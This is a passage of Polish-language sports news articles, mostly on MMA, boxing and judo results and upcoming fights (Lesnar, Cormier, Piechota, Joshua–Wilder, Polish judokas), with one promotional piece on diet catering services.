Nie tak od razu. Trzeba czekać ze względu na sytuację Lesnara. 41-latek urodzony w Webster ma na sumieniu stosowanie niedozwolonych środków, które wykryto w jego organizmie po zwycięskiej walce z Markiem Huntem. Następnie pojedynek uznano za nierozstrzygnięty. Z kolei Lesnar został zawieszony na rok. Miesiące mijały (blisko pół roku), a Amerykanin podjął decyzję o zakończeniu kariery. Pozostała część kary została utrzymana w mocy, co powoduje, że mimo decyzji o powrocie do rywalizacji Lesnar nadal musi czekać na wejście do oktagonu. Teraz zawodnik znalazł się pod baczną obserwacją Amerykańskiej Agencji Antydopingowej.  – Po otrzymaniu zawiadomienia o zamiarze uczestnictwa w UFC, USADA ponownie wprowadziła 3 lipca Brocka Lesnara do puli zawodników poddawanych testom antydopingowym – czytamy w oświadczeniu USADA.

Wedle pierwszych doniesień Cormier i Lesnar mieli spotkać się w listopadzie br., jednak wydaje się to mało prawdopodobne. 41-latek będzie mógł wrócić do rywalizacji w przyszłym roku. – Po sześciu miesiącach i czterech dniach, które pozostały w okresie zakazu startów, Lesnar będzie mógł wrócić do rywalizacji 8 stycznia 2019 r. lub później, jeśli pozostanie w zgodzie z zasadami antydopingowymi UFC – podkreśla USADA.

Nie pozostaje nic innego, jak czekać. Wiadomo, że atmosfera po UFC 226 jest gorąca. Z pewnością Dana White nie pozwoli, aby temperatura opadła. Warto dodać, że Cormier stawia jeden warunek – Lesnar musi być zupełnie czysty.

Źródło: mmafighting.com

Fot. Daniel Cormier Facebook

KM

Polacy wśród najlepszych w Gdyni

Puchar Europy Juniorów w judo w Gdyni udany dla biało-czerwonych. Polacy łącznie wywalczyli siedem medali i zajęli piąte miejsce w klasyfikacji końcowej. Najlepiej wypadli Holendrzy (17 krążków).

Ponad 300 zawodniczek i zawodników pojawiło się na starcie PEJ w Gdyni. W tym gronie było 80 reprezentantów Polski. Najwięcej powodów do radości miał Sebastian Ołdak (90kg), który sięgnął po złoto. 19-latek rywalizację w Gdyni rozpoczął od wygranej z Ralphem Hoogeboomem. Kolejne potyczki Ołdak rozstrzygał na swoją korzyść przed czasem. Polak odprawił Francuza Sofiane Aita Mohameda Amera oraz Białorusina Antona Sachylovicha. W finale Ołdak pokonał Holendra Raymonda de Vosa. Dla 19-letniego Polaka to drugie podium w międzynarodowych zawodach w tym roku. W marcu wywalczył trzecie miejsce w Sarajewie.

Kolejny dobry występ zaliczyła Paulina Dziopa (+78kg). Judoczka Czarnych Bytom wygrała ostatnio zawody w Leibnitz, a w Sarajewie była trzecia. Start w Gdyni zakończyła na drugiej pozycji. W półfinałowym starciu przed czasem Dziopa odprawiła Katarzynę Madajewską. Do wykonania pozostał ostatni krok. W finale Dziopa spotkała się z piątą zawodniczką ubiegłorocznych mistrzostw Europy kadetów Laurą Fuseau. Francuzka judoczka triumfowała przed czasem.

Świetnie turniej w Gdyni rozpoczęła Aleksandra Kaleta (52kg). Dwie wygrane sprawiły, że Polka znalazła się w strefie medalowej. W półfinale przeszkodą nie do przejścia okazała się Coraline Marcus Tabellion. Ostatecznie Kaleta sięgnęła po brąz pokonując Jagodę Tątę. Również Katarzyna Madajewska (+78kg) stanęła na najniższym stopniu podium. W walce o brąz pokonała przed czasem Wiktorię Lis. Na trzecim miejscu uplasowała się również Paulina Szlachta (48kg). Niespełna 18-letnia judoczka zmagania w Gdyni rozpoczęła od porażki, ale następnie poradziła sobie w repasażach. W starciu o brąz Szlachta pokonała Danutę Majcher.

Po Sarajewie, czas na podium w Gdyni. W Bośni Krzysztof Załęczny triumfował, teraz musiał zadowolić się brązem. Długą drogę do podium miał Arkadiusz Dziarmaga. Polak musiał radzić sobie w repasażach, gdzie zanotował dwa zwycięstwa i w decydującym momencie przypieczętował zdobycie brązowego medalu.

W Gdyni nie mieli sobie równych Holendrzy. Zawodnicy z kraju tulipanów i wiatraków zdobyli 17 medali, w tym sześć złotych. Za ich plecami Francuzi (9, w tym trzy z najcenniejszego kruszcu) oraz Ukraińcy (3, dwa złote).

Fot. pixabay.com

KM

Oczekiwanie na rozstrzygnięcia

Blisko rok temu wyłoniono pary ćwierćfinałowe turnieju World Boxing Super Series. Pozostały dwie niewiadome – kto okaże się najlepszy w kategorii super średniej i junior ciężkiej?

Na finałowe walki czekamy od lutego, kiedy to odbyły się półfinały. W kategorii super średniej o triumf powalczą George Groves i Callim Smith, zaś w junior ciężkiej Oleksandr Usyk i Murat Gassijew. Teoretycznie wszystko powinno być jasne, bo planowano, że decydujące boje odbędą się w połowie roku, jednak tak się nie stało. Usyk z Gassijewem mieli zmierzyć 11 maja, ale ze względu na kontuzję łokcia Ukraińca termin trzeba było przesunąć. Pojedynek odbędzie się 21 lipca w Moskwie, a stawką walki będą cztery pasy mistrzowskie kategorii junior ciężkiej – IBF, WBA, WBC, WBO. Podobnie sytuacja wygląda z finałowym starciem w kategorii super średniej. Planowano, że Groves i Smith zmierzą się w czerwcu, jednak kontuzja tego pierwsza wiązała się z koniecznością przełożenia walki. Wszystko wskazuje na to, że finał WBSS odbędzie się we wrześniu.

Przypomnijmy, na starcie rywalizacji World Boxing Super Series pojawiło się 16 bokserów (po 8 w każdej kategorii). Nie zabrakło polskiego akcentu. W wadze junior ciężkiej zaprezentował się Krzystzof Włodarczyk, jednak "Diablo" w październiku w Prudential Centre przegrał przez nokaut w trzeciej rundzie z Gassijewem. Rosjanin pokazał moc również w półfinale, kiedy to w Soczi w dwunastej rundzie położył na deski Yuniera Dorticosa. Z kolei droga Usyka do finału wiodła przez pojedynki z Marco Huckiem i Mairisem Briedisem.  W wadze super średniej zmagania w WBSS rozpoczęły się od ćwierćfinałowego starcia Calluma Smitha i Erika Skoglunda. Na punkty wygrał Brytyjczyk, który w półfinale pokonał Nieky'ego Holzkena. Jamie Cox poczuł siłę Georges Grovesa. Mistrz WBA w czwartej rundzie zakończył rywalizację i awansował do półfinału, w którym uporał się z Chrisem Eubankiem Jr (na punkty).

Czekając na rozstrzygnięcia pierwszej edycji WBSS, należy szykować się do kolejnej. Ta wystartuje jesienią. Na pewno rywalizować będą pięściarze w wagach koguciej i super lekkiej. Mówi się, że 21 lipca zostanie ogłoszona trzecia kategoria. Prawdopodobnie będzie to waga junior ciężka, a jednym z kandydatów do startu jest Krzysztof Głowacki.

Fot. Александр Усик / Usyk Facebook

KM

Trzecia walka Piechoty w UFC

Na gali The Ultimate Fighter 27 Finale po raz trzeci w UFC zaprezentuje się Oskar Piechota. 6 lipca w T-Mobile Arenie w Las Vegas rywalem polskiego zawodnika MMA będzie Gerald Meerschaert.

Nieco ponad rok temu (czerwiec 2017) Oskar Piechota zasiadł na tronie organizacji Cage Warriors. Polak rozbił Jasona Radcliffa w starciu o pas wagi średniej w zaledwie 32 sekundy! Występ 28-latka nie przeszedł bez echa. Przed pojedynkiem z Radcliffem mówiono, że wygrana może być dla Polaka przepustką do UFC. Piechota nie mógł zrobić sobie lepszej reklamy. Pokazał siłę, skuteczność i wysoką klasę sportową. Drzwi do UFC stały dla polskiego zawodnika otworem.

Piechota obrał zwycięski kurs. Dla wielu pierwsze występy w UFC wiążą się z potężnym ładunkiem emocjonalnym, który potrafi sparaliżować. Zawodnik z Gdańska rozpoczął przygodę z amerykańską organizacją bez żadnych kompleksów. W tym przypadku znaczenie mógł mieć fakt, że zawodnik debiutował w UFC na własnej ziemi. Gala odbyła się w trójmiejskiej Ergo Arenie, a Piechota wypunktował Jonathana Wilsona i sędziowie jednogłośnie wskazali na Polaka. W drugim występie w amerykańskiej organizacji gdańszczanin również nie zawiódł. Na UFC Fight Night 128 Piechota szybko uporał się z Timem Williamsem, który początkowo kontrolował dystans, jednak w końcu otrzymał potężny prawy sierpowy. Rywal padł na deski, a Polak dokończył dzieło! Nie pozostaje nic innego jak kontynuować świetnie rozpoczętą przygodę w najlepszej organizacji MMA na świecie.

Na TUF 27 Piechota zmierzy się z Geraldem Meerschaertem, który będzie najbardziej wymagającym spośród dotychczasowych rywali Polaka. 30-letni Amerykanin stoczy piątą walkę w UFC. Dotychczas wygrał trzy, przegrał tylko z Thiago Santosem. Co istotne, wszystkie pojedynki Meerschaerta w UFC kończyły się przed czasem. Domeną Amerykanina są poddania. Aż 19 zwycięskich walk zakończył w taki sposób. Potrafi znakomicie doprowadzić do duszenia, momentalnie przechwytuje głowę rywala i wykonuje zdecydowany krok w stronę wygranej.

Oskar Piechota musi się mieć na baczności, jednak jego bogaty repertuar jest podstawą do osiągnięcia sukcesu. Parter przed Polakiem  nie ma żadnych tajemnic, z kolei w stójce – potężną bronią 28-latka jest lewy sierpowy. Piechota ma na koncie 11 zwycięstw, w tym 10 przed czasem. Wygrana z Meerschaertem umocni jego pozycję w UFC i być może sprawi, że znajdzie się w najlepszej 15. kategorii średniej.

Fot. Oskar Piechota Facebook

KM

Catering dietetyczny – modny czy wygodny?

Moda na zdrowy styl życia już dawno przestała być tylko modą, ale catering dietetyczny, akurat w Polsce zagościł stosunkowo niedawno. Mimo wszystko zyskuje na uznaniu, bo ci, którzy są chętni na taki wydatek i próbę podjęcia modyfikacji codziennego jadłospisu z taką pomocą, szybko przekonują się o zaletach. Tych ostatnich jest zdecydowanie więcej niż wad, a jeśli dobrze poszukamy i wybierzemy naprawdę sensowną ofertę, minusów nie znajdziemy. Czy catering dietetyczny jest dziś zatem modny, czy tylko wygodny? A może jedno i drugie?

Na pewno wygodnie, ale…

Posiłki dostarczane na cały dzień pod wskazany adres i o dogodnej godzinie. Nie interesują nas zakupy, gotowanie, sprzątanie po gotowaniu. Właściwie to nic nas nie interesuje poza ceną i tym, by pod ręką mieć sztućce do jedzenia. Wybieramy konkretną dietę, a propozycji różnorodnych diet w firmach cateringowych jest coraz więcej. Usatysfakcjonowani mogą być ci, którzy po prostu potrzebują racjonalnego jadłospisu, bo nie mają czasu na gotowanie, jak i ci, którzy chcą zrzucić zbędne kilogramy.

Wygodnie? Ależ oczywiście. Wbrew temu, co mówią przeciwnicy, nie musi to być sposób żywienia dla leniwych bądź taki, który sprawia, że zaczynamy zapominać, jak się gotuje ziemniaki i robi kanapki na śniadanie. Wygoda ma w tym wypadku pozytywny wydźwięk, bo gdy jemy wartościowe i zdrowe posiłki, mamy więcej energii do działania, lepiej się czujemy, jesteśmy efektywniejsi tak w życiu codziennym, jak i w pracy. Nie musimy jednak martwić się o ten deficytowy czas, którego brak na odpoczynek, a co dopiero przyrządzanie wymyślnych dań. Co więcej, ten zdrowy i dobrze zbilansowany jadłospis, a tym bardziej ten, który ma na celu wspomóc proces odchudzania, wymaga trzymania się ściśle określonych porcji. Kto ma na to czas w dzisiejszym świecie?

Propozycja cateringu dietetycznego, jest dowodem na to, że w rozsądnych pieniądzach można odżywiać się zdrowo, a zaoszczędzony czas przeznaczyć na to, na co dotychczas było go zwyczajnie brak. Jest zatem wygodnie, choć trzeba liczyć się z inwestycją.

Moda na zdrowe jedzenie

Pewnie znajdzie się i taka grupa osób, która pójdzie w catering dietetyczny ze względu na to, iż w najbliższym otoczeniu większość będzie korzystać z diet pudełkowych. Presja otoczenia niejednokrotnie robi swoje. Nie chcemy czuć się gorsi, więc stawiamy na to, co inni. Podejmujemy zachowania podobnie, jak cała reszta grupy, mimo iż nie do końca się z nimi zgadzamy. To jednak droga na krótką metę, bo gdy ktoś nie lubi takiego jedzenia, a do tego nigdy nie miał problemów ze zdrowiem i utrzymaniem prawidłowej masy ciała, za jakiś czas powróci do swoich nawyków i trudno będzie mu się oprzeć ulubionym potrawom czy przekąskom.

Właściwie tylko o takim aspekcie mody można mówić w przypadku diet pudełkowych. W zdecydowanej większości chodzi o tę pozytywną wygodę, której potrzeba osobom zapracowanym. Szukamy bowiem rozwiązań pozwalających ułatwić sobie zmagania z dniem codziennym i nawałem obowiązków, a dzięki cateringowi dietetycznemu możemy liczyć także na racjonalny jadłospis, którego dotąd było brak.

Zalety cateringu dietetycznego

Jest jeszcze jedna bardzo ważna zaleta cateringu dietetycznego, która w dużej mierze dotyczy singli. Gotowanie obiadu na jedną porcję, bardzo często mija się z celem. Część z naszych potraw ląduje w koszu, bo na drugi dzień nie smakują już zbyt dobrze bądź wolimy świeże jedzenie. A zrobienie sałatki, dwudaniowego obiadu czy kolacji dla jednej osoby, czasami jest nieopłacalne. Tak finansowo, jak i czasowo. Ostatecznie sięgamy po jedzenie na wynos – dalekie od zdrowego i wartościowego, wydając więcej pieniędzy i wcale nie dbając o swój organizm.

Opłacalność na pierwszym miejscu

Gdy wygoda i moda to dla nas elementy ważne, pozostaje zastanowić się nad opłacalnością takiego przedsięwzięcia. Ceny za całodniowe posiłki, licząc na miesiąc, wahają się od tysiąca do nawet dwóch czy trzech tysięcy złotych. Dużo? W porównaniu do budżetu, którym dysponujemy, nierzadko dużo. Z drugiej strony, nawet samotnie mieszkająca osoba, ze względu na powyższe czynniki, ale i uwzględniając ceny produktów spożywczych, czas przeznaczony na zakupy i gotowanie, miesięcznie wyda przynajmniej 600-800 zł na jedzenie. Różnica staje się coraz mniejsza. Gdy do tego gotujemy dla większej ilości osób, na swoim koncie z powodzeniem możemy zanotować zakupy na sumaryczną kwotę powyżej 1000 złotych.

Możemy spokojnie sami teraz odpowiedzieć sobie na pytanie, co jest bardziej opłacalne. Wybrać, czy moda i wygoda w tym wypadku spełnią nasze oczekiwania, czy jednak kuchnia to nasz żywioł i niezależnie od czasu oraz finansów, wolimy samodzielnie przygotowane posiłki.

Więcej informacji o cateringu dietetycznym pod adresem https://www.eatzone.pl

Polski judoka z brązowym medalem ME

Rosjanie zdominowali mistrzostwa Europy kadetów w judo, które odbyły się w Sarajewie. Dla Polski brązowy medal wywalczył Wojciech Kordyalik (+90kg).

Biało-czerwoni wypadli gorzej niż rok temu. Z Kowna Polska przywiozła dwa brązowe medale autorstwa Nikoli Szlachty i Natalii Kropskiej. W Sarajewie formą błysnął Wojciech Kordyalik, który przed rozpoczęciem mistrzostw Europy  zapowiadał, że będzie walczył o złoto. Zawodnik WKS Śląsk Wrocław miał podstawy, aby składać takie deklaracje. Od początku roku stawał na podium zawodów rangi Pucharu Europy. W Sarajewie nie mogło być inaczej. Kordyalik rozpoczął zgodnie z planem i w mgnieniu oka odprawił Antona Plakhotnyka i Igora Vracara. Przed półfinałem wiadomo było, że młodego Polaka czeka niezwykle trudne wyzwanie. Los skojarzył Kordyalika z Richardem Sipoczem, a Węgier ma na swoim koncie mistrzostwo Europy kadetów wywalczone w 2016 roku. Rok później zdobył srebro. W tym roku triumfował w trzech z czterech zawodów pucharowych. Walka o wejście do finału trwała dwie minuty. Kordyalik musiał uznać wyższość Sipocza, który następnie sięgnął po złoto. Zawodnikowi WKS Śląsk Wrocław pozostała walka o brąz. Francuz Mathias Anglionin nie miał jednak zbyt wiele do powiedzenia w rywalizacji z polskim judoką.

Dobrze zmagania w Sarajewie rozpoczęła Julia Jaroszewska (70kg), która na początek wyeliminowała Denisę Marin. W kolejnym starciu na Polkę czekała mocna Daria Kariankina. Rosjanka notuje fantastyczne występy i dobrą formę potwierdziła w Sarajewie sięgając po srebro. Jaroszewskiej pozostała walka w repasażach, gdzie wygrała jeden pojedynek. Na drodze do starcia o brąz stanęła jej Metka Lobnik. Polka została sklasyfikowana na siódmej pozycji.

Trzy pojedynki, ale tylko jedna wygrana – to bilans Kingi Wolszczak (70kg), która zajęła dziewiątą pozycję. Po jednym zwycięstwie na swoim koncie zapisali Maria Łętkowska (+70kg) oraz Szymon Szymański (60kg). Pozostali Polacy pożegnali się z mistrzostwami Europy po pierwszych walkach.

Bezkonkurencyjni Rosjanie

W Sarajewie karty rozdawali Rosjanie. Reprezentanci Sbornej wystąpili łącznie w dziesięciu finałach, z których siedem zakończyło się ich sukcesem. Do tego dołożyli jeszcze brąz. Drugie miejsce w klasyfikacji medalowej dla Francji, która zdobyła… trzy medale (dwa złote). Podium uzupełnili Włosi z sześcioma krążkami (złoto, cztery srebra i brąz).

W zmaganiach drużynowych (mix) najlepsi okazali się Rosjanie, którzy w finale pokonali Holandię. Na podium również Turcja i Rumunia.

Fot. European Union Judo

KM

Droga pełna zakrętów

Wydawałoby się, że osiągnąć porozumienie to nic trudnego. A jednak… Obozy Anthony’ego Joshuy i Deontaya Wildera dyskutowały, ale wielkiej walki w wadze ciężkiej nie należy spodziewać się w najbliższym czasie. W takim razie – kiedy?

Rzecz jasna, że podstawą każdego widowiska jest odpowiednie zainteresowanie. Czasami trzeba ciężko pracować, aby wypromować dane wydarzenie. Ale Joshua i Wilder to nazwiska, które każdego miłośnika boksu (i nie tylko) stawiają na nogi, a ich pojedynek byłby niezwykle smakowitym kąskiem. Gwarancja sukcesu – praktycznie pod każdym względem. Ale trzeba pamiętać, że coś na pozór idealnego można zepsuć.

Sukcesy Joshuy i Wildera sprawiły, że ich zestawienie stało się sprawą oczywistą. Toczyły się rozmowy na temat daty, miejsca i oczywiście pieniędzy. Już wydawało się, że wszystko jest na dobrej drodze. Mistrz świata WBC był gotów zmierzyć się z Joshuą latem na Wembley. Dodatkowo menadżer Wildera przyznał, że bokser jest skłonny przystać na podział zysków 60 do 40 na korzyść rywala. Czego chcieć więcej?

Wypada również wspomnieć, że po drodze nie brakowało „przepychanek słownych”. Wilder wyzywał Joshuę na pojedynek i utrzymywał, że 28-latek z Watfordu się go boi. Z kolei czempion IBF, WBA, WBO i IBO zapewniał gotowość do rywalizacji, jednak obóz Amerykanina nie był skłonny udzielić odpowiedzi na przesłaną ofertę. Eddie Hearn, promotor Brytyjczyka, stoi na stanowisku, że Wilder nie chce walczyć z Joshuą. Z kolei federacja WBA naciska w sprawie obowiązkowej obrony z Aleksandrem Powietkinem. I tak może być w nieskończoność. Machina musi się kręcić… A wszyscy czekają.

Czy walka Joshuy z Wilderem jest realna w 2018 roku? Wydaje się, że nie. Eddie Hearn patrzy raczej w kierunku Powietkina. Z kolei Wilder jest zdegustowany całą sytuacją, czemu dał wyraz. – Przepraszam Was wszystkich, oni nas oszukali! Pieprzyć ich! Jedziemy dalej – zabrał głos Deontay Wilder. 32-letni Amerykanin ma kolejny cel w postaci pobicia rekordu Floyda Mayweathera Jr., który zapisał na swoim koncie 50 zwycięstw. Wilder ma ich obecnie 40.

Temat pojedynku czempionów wagi ciężkiej nadal jest na pierwszym planie. Obecnie mówi się, że prawdopodobny termin hitowego starcia to wiosna przyszłego roku. Ale… W tym przypadku nic nie jest pełne. Tak jak w filmie, w którym nie brakuje zaskakujących zwrotów akcji.

Scenariusze są dwa. Walka pomiędzy Joshuą i Wilderem odbędzie się w ciągu najbliższych miesięcy (2018-2019) albo rozmowy będą trwać w nieskończoność. Na myśl przychodzi tu starcie Floyda Mayweathera Jr. z Manny Pacquiao. Przez wiele lat mówiło się o tej walce, a pięściarze spotkali się u schyłku swoich karier. Czy tak będzie w tym przypadku? Wydaje się to mało prawdopodobne ze względu na fakt, że Joshua i Wilder są na siebie skazani. Na horyzoncie wyzwań nie widać nikogo, kto mógłbym im realnie zagrozić. A co najważniejsze – wziąć udział w budowaniu widowiska pozwalającego wygenerować ogromne zainteresowanie i… zyski. Czy gra na czas jest dobrym rozwiązaniem?

KM

Walka o medale w Sarajewie

28 czerwca w Sarajewie rozpoczną się mistrzostwa Europy kadetów w judo. Impreza potrwa do 1 lipca. O medale będzie walczyło dziewięcioro biało-czerwonych.

Z pewnością młodym judokom nie zabraknie zaangażowania i serca do walki. Podczas każdego treningu doskonalą swoje umiejętności, a w Sarajewie przyjdzie czas na weryfikację możliwości na poziomie europejskim. W mistrzostwach wystartuje blisko 500 zawodniczek i zawodników. – Wiek kadeta jest pierwszym i najtrudniejszym krokiem na wyższy poziom. Młodzi judocy uczą się zdobywać i przezwyciężać silne emocje, triumfy i rozczarowania. Wiele obecnych gwiazd judo osiągało sukcesy, gdy było kadetami. Życzę wszystkim uczestnikom i trenerom niezapomnianych i radosnych przeżyć, które będą podstawą ich przyszłych sukcesów – powiedział Sergey Soloveychik, przewodniczący Europejskiej Unii Judo.

Czy Polacy poprawią wynik z poprzedniego roku? To podstawowe pytanie przed rozpoczęciem mistrzostw Europy w Sarajewie. Rok temu w Kownie Polacy wywalczyli dwa brązowe medale za sprawą Nikoli Szlachty i Natalii Kropskiej. Dodatkowo z dobrej strony pokazały się nasze drużyny. Kadetki zajęły piąte miejsce, zaś kadeci siódme.

Do Sarajewa udało się dziewięcioro reprezentantów Polski. Przez trzy dni rozgrywane będą zawody indywidualne, a ostatniego dnia zmagań zaplanowano rywalizację mikstów. Reprezentacje będą składać się z zawodniczek występujących w wagach: 44kg, 52kg, 63kg, +63kg oraz zawodników: 55kg, 66kg, 81kg oraz +81kg.

Wysoko stoją akcje Kingi Wolszczak (+70kg), która prezentuje równą formę. W ubiegłym roku wygrała zawody w Koper i Gyor. Jej ostatni występ to trzecie miejsce w Teplicach, wcześniej zajęła drugą lokatę w Berlinie. Z podium nie schodzi Wojciech Kordyalik (+90kg). W tegorocznych startach zawodnikowi WKS Śląsk Wrocław do pełni szczęścia brakuje tylko zwycięstwa. Kordyalik był o krok od triumfu w Berlinie, ale lepszy okazał się Omer Aydin z Turcji. Ponadto, Polak zajmował trzecie pozycje w Zagrzebiu i Teplicach.

Reprezentacja Polski na mistrzostwa Europy w Sarajewie: Zuzanna Łogożna (57kg), Agata Pałka (57kg), Julia Jaroszewska (70kg), Kinga Wolszczak (+70kg) i Maria Łętkowska (+70kg), Szymon Szymański (60kg), Mateusz Kozłowski (73kg), Wojciech Grądzki (73kg) i Wojciech Kordyalik (+90kg).

Fot. eju.net

KM

Przepychanki trwają w najlepsze

Głównym wydarzeniem gali UFC 226 będzie walka Daniela Cormiera ze Stipe Miocicem o pas mistrza wagi ciężkiej. Jednak sam pojedynek znalazł się w cieniu… przepychanek, w których pierwsze skrzypce gra Jon Jones.

7 lipca w T-Mobile Arenie w Las Vegas dojdzie do starcia dwóch mistrzów. Cormier dzierży pas w wadze półciężkiej, a Miocić w ciężkiej. Stawką walki wieczoru UFC 226 będzie tytuł w kategorii królewskiej. Miłośnicy MMA ostrzą sobie zęby na to starcie, a do akcji wkracza Jon Jones. Popularny "Bones" odbywa karę za stosowanie niedozwolonych środków, ale chętnie prezentuje własne zdanie. Obiektem jego ataków jest Daniel Cormier. Sam "DC" niedawno stwierdził, że Jones po wpadkach dopingowych nie powinien zabierać głosu. "Bones" obok takich słów nie mógł przejść obojętnie. Wymiana między zawodnikami toczy się w… mediach społecznościowych. – Nie mam prawa głosu, DC? To brzmi głupio. Po latach zawieszenia mam do tego nie mniejsze – jeśli nie większe – prawo niż Ty. Każda Twoja wygrana trafia do mojego CV. Wiem, o kim śnisz w nocy. Twoja żona też o tym wie – napisał Jon Jones.

Z pewnością fakt, że Cormier może zdobyć kolejny pas działa na "Bonesa" jak płachta na byka. 39-letni mistrz wagi półciężkiej dwukrotnie mierzył się z Jonesem. W pierwszym przypadku (UFC 182) przegrał decyzją sędziów. Kolejny raz Jones i Cormier spotkali się w lipcu 2017 roku (UFC 214). Przez nokaut w trzeciej rundzie wygrał "Bones", ale… w jego organizmie wykryto turinabol. Pas pozostał więc w rękach Cormiera, a Jones został ukarany za swoje wybryki zawieszeniem do marca 2019 roku i karą finansową w wysokości 205 tys. dolarów. Na kolejną walkę przyjdzie mu jeszcze trochę poczekać… Jones daje do zrozumienia, że chciałby kolejnej walki z obecnym czempionem wagi półciężkiej.

„Słowne przepychanki” nieco przysłaniają to, co najważniejsze. Pewnie jest, że 7 lipca Cormier może zapisać się w historii MMA jako drugi zawodnik w historii UFC, który znajdzie się w posiadaniu dwóch pasów mistrzowskich. "DC" stanie jednak przed bardzo trudnym zadaniem. Miocić wygrał sześć ostatnich walk, w tym pięć przed czasem. Dotychczas trzykrotnie skutecznie bronił tytułu mistrza wagi ciężkiej.

Cormier i Miocić swoje ostatnie pojedynki stoczyli na gali UFC 220. W walce wieczoru mistrz wagi ciężkiej pokonał decyzją sędziów Francisa Ngannou. Z kolei Cormier przed czasem uporał się z Volkanem Oezdemirem.

Fot. Daniel Cormier Facebook

KM

Srebro polskiego judoki w Pucharze Europy

Łukasz Golus (66kg) wywalczył srebrny medal w zawodach Pucharu Europy w judo w Celje-Podcetrtek. Rywalizację zdominowali Rosjanie, którym kroku starali dotrzymać się Francuzi.

Rok temu Łukasz Golus stoczył w Celje-Podcetrtek cztery walki. Trzy z nich wygrał, zatrzymał go Serb Denis Jurakic. Tym razem zawodnik GKS Czarni Bytom mógł cieszyć się ze srebrnego medalu. Zmagania na Słowenii Polak zaczął zdecydowanie i odprawił Ukraińca Anatolia Martyshchenkę oraz Francuza Benjamina Beauzora. Trudne warunki zwycięzcy Pucharu Europy z Bratysławy z zeszłego roku postawił Mirzoiusuf  Gafurov. Golus wygrał przez waza ari i w półfinale trafił na Matteo Pirasa. Włoch jest zdecydowanie wyżej klasyfikowany niż Polak, ale w Celje-Podcetrtek nie było tego widać. Golus pokonał Pirasa i awansował do finału, jednak w starciu o złoto lepszy okazał się Francuz Vang-Si Nzaou.

Łącznie w Pucharze Europy na Słowenii wystartowało siedmioro Polaków. Dwie zwycięskie walki na swoim koncie zapisał Dominik Majowski (100kg), który w ubiegłym roku w startach juniorskich regularnie stawał na podium. W Celje-Podcetrtek Polak zaczął rywalizację od zwycięstwa, ale po porażce z Danylo Hutsolem trafił do repasaży. Pierwszy pojedynek wygrał, jednak w kolejnym starciu przegrał z Blazem Vrankarem i ostatecznie uplasował się na siódmej pozycji. Dziewiąte miejsce zajęła Marta Wykupil (63kg), która stoczyła łącznie trzy walki, ale triumfowała tylko w jednej.

Od zwycięstwa zmagania w Pucharze Europy rozpoczął Paweł Wawrzyczek (73kg), ale jego przygoda szybko się skończyła. Wszelkich marzeń pozbawił go Niemiec Martin Setz. Bez zwycięstwa rywalizację w Pucharze Europy zakończyli: Dominik Grzywacz (60kg), Adrian Wala (66kg) oraz Jacek Brysz (73kg).

Rosjanie na czele

Siedem medali w Celje-Podcetrtek wywalczyli reprezentanci Sbornej. Taki sam wynik na swoim koncie zapisali Francuzi, ale Trójkolorowi zdobyli trzy brązowe krążki przy dwóch srebrach i brązie Rosjan. Na trzeciej lokacie w klasyfikacji medalowej Niemcy (14 medali, ale tylko dwa złote).

Rosjanie zdecydowanie dominowali w rywalizacji judoków. Yago Abuladze (60kg), Turpal Tepkaev (81kg), Arman Adamian (100kg) oraz Aslan Dzhioev (+100kg) okazali się najlepsi w swoich kategoriach wagowych. U Francuzów złota "rozłożyły" się proporcjonalnie. Triumfowali: Penelope Bonna (52kg) i Melissa Heleine (70kg) oraz Vang-Si Nzaou (66kg) oraz Guillaume Riou (90kg).

Fot. zdjęcie poglądowe

KM

FEN: Przemek Opalach stoczy walkę w K-1

Przemysław Opalach stoczy pojedynek w federacji Fight Exclusive Night w formule K-1. Debiut olsztynianina szykowany jest na drugą połowę 2018 roku.

Kibice sportów walki w Polsce znają Opalach z ringu bokserskiego. To właśnie w szermierce na pięści olsztynianin stoczył 28 pojedynków, z czego 26 wygrał, w tym 21 przed czasem. 20 grudnia 2013 roku Opalach pokonał przez techniczny nokaut Maishę Samsona z Tanzanii, dzięki czemu zdobył tytuł mistrza świata federacji WBF w kategorii super średniej. Niespełna rok później zwyciężył Slavisa Simeunovica i został posiadaczem pasów WBC Baltic, WBF World oraz Międzynarodowym Mistrzem Polski. Opalach ma za sobą znakomitą serię 14 zwycięstw z rzędu. Ostatnim razem pokonany wychodził z ringu w kwietniu 2013 roku. W 2017 roku stoczył trzy walki – wszystkie pewnie wygrał.

– Opalach to znakomity pięściarz, jeden z najlepszych polskich bokserów w kategorii super średniej. Przemek od jakiegoś czasu przygląda się naszym zawodnikom w wadze do 77 kilogramów, jest pod wrażeniem ich umiejętności. Może zmierzy się w przyszłości z którym z nich? To na pewno jedno z rozwiazań na jego karierę w FEN. On jeszcze za dzieciaka trenował muay thai, potem wygrał 30 pojedynków. To kawał zawodnika i wierzę, że będzie wzmocnieniem naszej federacji – powiedział Paweł Jóźwiak, prezes FEN.

Australijska podróż Helda

Od kilku dni Marcin Held jest w Brisbane, gdzie 16 czerwca zadebiutuje w organizacji ACB. Jego rywalem będzie Callan Potter. Na gali ACB 88 zaprezentuje się również Karol Celiński.

W marcu br. Marcin Held związał się umową z rosyjską organizacją. Tyszanin ma za sobą nieudaną przygodę w UFC, gdzie stoczył cztery walki, z których wygrał tylko jedną – z Nasratem Haqparastem w Gdańsku. Umowa Polaka z amerykańską organizacją dobiegła końca, jednak nie pojawiła się nowa propozycja. Held liczył, że uda mu się wystąpić na gali UFC Fight Night 127 w Londynie. 26-latek zgłaszał chęć występu w miejsce kontuzjowanych zawodników, jednak bez efektu. W końcu pojawiła się oferta ze strony ACB, z której Marcin Held postanowił skorzystać.

W rosyjskiej organizacji Polak ma się odbudować, co pozwoli mu wrócić do UFC. Nie da się ukryć, że Held ma ogromne możliwości, co potwierdził w Bellatorze, gdzie był czołową postacią wagi lekkiej. Pierwszy test możliwości polskiego fightera już 16 czerwca w Brisbane. Polak dotarł do Australii w niedzielę i ostatnie dni poświęca na szlifowanie formy. Zapewnia, że znajduje się w wysokiej formie i nie narzeka na samopoczucie. Jego rywalem będzie Callan Potter, który ma na koncie 16 zwycięstw. Australijczyk jest specjalistą od zmagań w parterze i wszystkie walki rozstrzygnął przed czasem! Potter znajduje się w znakomitej dyspozycji, o czym świadczy fakt, że zwyciężył w ośmiu pojedynkach z rzędu. Po raz ostatni pokonany schodził we wrześniu 2015 roku.

Dla Marcina Helda będzie to drugi występ w Australii. Jednak walka z Kaleo Kwanem to odległe czasy. W Melbourne Polak zaprezentował się we wrześniu 2011 roku podczas gali AFC 2. Held potrzebował niecałej minuty, aby doprowadzić zmusić rywala do poddania. Czy 16 czerwca zapisze na swoim koncie kolejną wygraną?

Czwarta walka Celińskiego

